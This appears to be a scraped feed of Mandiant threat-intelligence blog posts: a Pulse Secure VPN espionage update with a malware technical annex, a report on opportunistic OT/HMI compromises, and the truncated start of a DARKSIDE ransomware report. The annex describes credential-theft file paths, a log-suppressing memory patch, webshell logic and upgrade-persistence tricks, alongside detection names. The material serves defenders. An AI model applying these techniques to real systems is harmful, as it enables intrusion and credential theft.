ATT&CK UNC2465 Tactic Description Initial Access    T1189: Drive-by Compromise    T1195.002: Compromise Software Supply Chain    T1566: Phishing Execution    T1053.005: Scheduled Task    T1059.001: PowerShell    T1059.005: Visual Basic Persistence    T1098: Account Manipulation    T1136: Create Account    T1547.001: Registry Run Keys / Startup Folder    T1547.004: Winlogon Helper DLL    T1547.009: Shortcut Modification Defense Evasion    T1027: Obfuscated Files or Information    T1070.006: Timestomp    T1112: Modify Registry    T1140: Deobfuscate/Decode Files or Information    T1218.005: Mshta    T1553.002: Code Signing    T1562.004: Disable or Modify System Firewall Discovery    T1012: Query Registry    T1033: System Owner/User Discovery    T1082: System Information Discovery Collection    T1056.001: Keylogging    T1113: Screen Capture    T1560: Archive Collected Data Impact    T1486: Data Encrypted for Impact    T1531: Account Access Removal Command and Control    T1071.001: Web Protocols    T1090.004: Domain Fronting    T1102: Web Service    T1105: Ingress Tool Transfer    T1219: Remote Access Software    T1572: Protocol Tunneling    T1573.002: Asymmetric Cryptography Lateral Movement    T1021.004: SSH    T1021.005: VNC Credential Access    T1003.001: LSASS Memory Resource Development    T1588.003: Code Signing Certificates    T1588.004: Digital Certificates    T1608.003: Install Digital Certificate Acknowledgements Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.

  • Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices
    by Dan Perez on May 27, 2021 at 5:00 pm

    On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations. Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1). Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices.  We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities. Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan. While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement. Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized. Figure 1: Organizations with compromised Pulse Secure devices by vertical and geographic location Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.) UNC2630 and UNC2717 Tradecraft and Response to Disclosure Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE. Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise. This false negative may be returned because the ICT cannot scan the rollback partition. If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance. Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process. In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.  The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device. It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure. This action displays an interesting concern for operational security and a sensitivity to publicity. Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date. Updates from Incident Response Investigations We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses. Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families. Malware Family Description Actor BLOODMINE   BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file. UNC2630 BLOODBANK   BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt. UNC2630 CLEANPULSE   CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell. UNC2630 RAPIDPULSE   RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker. UNC2630 Table 1: New malware families identified Initial Compromise The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation. Establish Foothold In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints. Escalate Privileges Mandiant observed the actors use three credential harvesting techniques on Windows systems: Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz. Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e. the threat actor’s system that was connected to the VPN) through an RDP mapped drive. Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts. Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes. In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor. Internal Reconnaissance Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment. The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe. Move Laterally Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.  While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired. Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system. Maintain Presence Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.  Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.  The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates. The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only. Complete Mission The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers: Staging data related to sensitive projects, often in C:\Users\Public Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip Using the JAR/ZIP file format for data exfiltration Deleting exfiltrated archives Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page. Forensics, Remediation, and Hardening Guidelines To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps: Capture memory and a forensic image of the appliance Run the Pulse Integrity Checker Tool found online Request a decrypted image of each partition and a memory dump To remediate a compromised Pulse Secure appliance:   Caution must be taken when determining if a Pulse Secure device was compromised at any previous date. If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT. If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised. To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface. The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm. Previous versions of the ICT will exit if run on an unsupported software version. For every ICT scan, ensure that the ICT would have supported the device’s version number. Reset all passwords in the environment. Upgrade to the most recent software version. To secure the appliance and assist with future investigations, consider implementing the following: Enable unauthenticated logging and configure syslog for Events, User & Admin Access Forward all logs to a central log repository Review logs for unusual authentications and evidence of exploitation Regularly run the Integrity Checker Tool Apply patches as soon as they are made available Geopolitical Context and Implications for U.S.-China Relations In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets. Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement. Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity. China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture. Historical Context In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China’s military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity. In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets. Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US. Recent indictments by the US Department of Justice suggest that this theft did occur. While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement. Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe. While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity. From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity. Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas. Changes in Chinese Espionage Activity between 2019 and 2021 Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China’s military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall. Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information. Post-2015, this duplication of efforts is rare. Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways. Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets. Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind. We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns. Redline Withdrawn? The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications. We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications. Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement. Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information. Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China’s use of its cyber threat capabilities, particularly when serving high-priority missions. The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities. Acknowledgements Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O’Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements. Additional Resources CISA Alert (AA21-110A): Exploitation of Pulse Connect Secure Vulnerabilities Pulse Secure Advisory SA44101: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX Pulse Secure Advisory SA44784: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4 Pulse Secure Customer FAQ KB44764: PCS Security Integrity Tool Enhancements Pulse Secure KB44755: Pulse Connect Secure (PCS) Integrity Assurance Detecting the Techniques The following table contains specific FireEye product detection names for the malware families associated with this updated information. Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FE_APT_Tool_Linux32_BLOODMINE_1 FE_APT_Tool_Linux_BLOODMINE_1 FE_APT_Tool_Linux32_BLOODBANK_1 FE_APT_Tool_Linux_BLOODBANK_1 FE_APT_Tool_Linux32_CLEANPULSE_1 FE_APT_Tool_Linux_CLEANPULSE_1 FE_APT_Webshell_PL_RAPIDPULSE_1 FEC_APT_Webshell_PL_RAPIDPULSE_1 Endpoint Security Real-Time Detection (IOC) BLOODBANK (UTILITY) BLOODMINE (UTILITY) Helix Establish Foothold WINDOWS METHODOLOGY [User Account Created] WINDOWS METHODOLOGY [User Created – Net Command] Escalate Privileges WINDOWS METHODOLOGY [Mimikatz Args] WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts] WINDOWS METHODOLOGY [LSASS Memory Access] WINDOWS METHODOLOGY [LSASS Generic Dump Activity] Internal Reconnaissance WINDOWS ANALYTICS [Recon Commands] Move Laterally WINDOWS ANALYTICS [Abnormal RDP Logon] OFFICE 365 ANALYTICS [Abnormal Logon] Technical Annex BLOODMINE BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file. The sample takes three command line arguments Filename to read Filename to write Timeout interval It parses the input file for login status codes: AUT31504 AUT24414 AUT22673 AUT22886 AUT23574 It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions: .css .jpg .png .gif .ico .js .jsp These strings indicate the type of data that is collected from web requests: Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s Logout, IP: %s, User: %s, Realm: %s, Roles: %s Session end, IP: %s, User: %s, Realm: %s, Roles: %s New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s Host check, Policy: %s WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s BLOODBANK BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory. The utility parses the following two files containing password hashes or plaintext passwords: /home/runtime/mtmp/lmdb/data0/data.mdb /home/runtime/mtmp/system BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target. PRIMARY SECONDARY remoteaddr [email protected] logicUR logicTim [email protected] userAge realm Sourc CLEANPULSE CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable. File Name File Type Size Compile Time dsrlog ELF.X86 13332   The utility expects to be run from the command line as follows: drslog <pid> <code2_string> <code3_string> <command> Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either ‘e’ or ‘E’ for installation or ‘u’ or ‘U’ for uninstallation. During installation (using the ‘e’ or ‘E’ <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process. The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process. During uninstall (using the ‘u’ or ‘U’ <command>) the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros. The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch. The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall ‘u’ command is given. These bytes correspond to the following two instructions: .data:0804B138 89 4C 24 08                 mov     [esp+8], ecx .data:0804B13C FF 52 04                       call    dword ptr [edx+4] This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged. There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project. RAPIDPULSE RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. The webshell modifies the legitimate file’s main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value. If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker. Integrity Checker Tool and Other Validation Checks In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks. Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.

  • Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises
    by Keith Lunden on May 25, 2021 at 2:00 pm

    Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems. The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet. Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications. Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence. Compromises of Internet-Exposed OT Are Increasing in Frequency While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past. This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in nature, other targets present very little risk. The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself. Figure 1: Selection of notable low sophistication OT compromises: January 2020 to April 2021 Low Sophistication OT Threat Activity Can Take Many Forms A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos. Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system. While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2). Figure 2: Screenshots of compromised web-interfaces supporting OT Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3). Figure 3: Screenshots showing a possible compromise of a hotel BAS Some Amateur Actors Show Limited OT Expertise Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4). Figure 4: “Rail control system” that was really a web-interface for a model train set Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5). Figure 5: “Gas system” that was really a kitchen ventilation system Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools. Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner Low Sophistication OT Compromises Pose A Growing Risk Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons. Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary’s ability and enhance their tradecraft. Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption. The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators. Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure. Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information. Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access. Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information. Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM). Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds. Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

  • Shining a Light on DARKSIDE Ransomware Operations
    by Jordan Nuce on May 11, 2021 at 9:30 pm

    Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam. Background Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims. The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability. Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform. Targeting Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates. Figure 1: Known DARKSIDE victims (August 2020 to April 2021) DARKSIDE Ransomware Service Beginning in November 2020, the Russian-speaking actor “darksupp” advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the “Darkside 2.0” RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million. In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations. Advertisement Date/Version Feature/Update Related Reporting Nov. 10, 2020 (V1)   Ability to generate builds for both Windows and Linux environments from within the administration panel.  20-00023273 Encrypts files using Salsa20 encryption along with an RSA-1024 public key Access 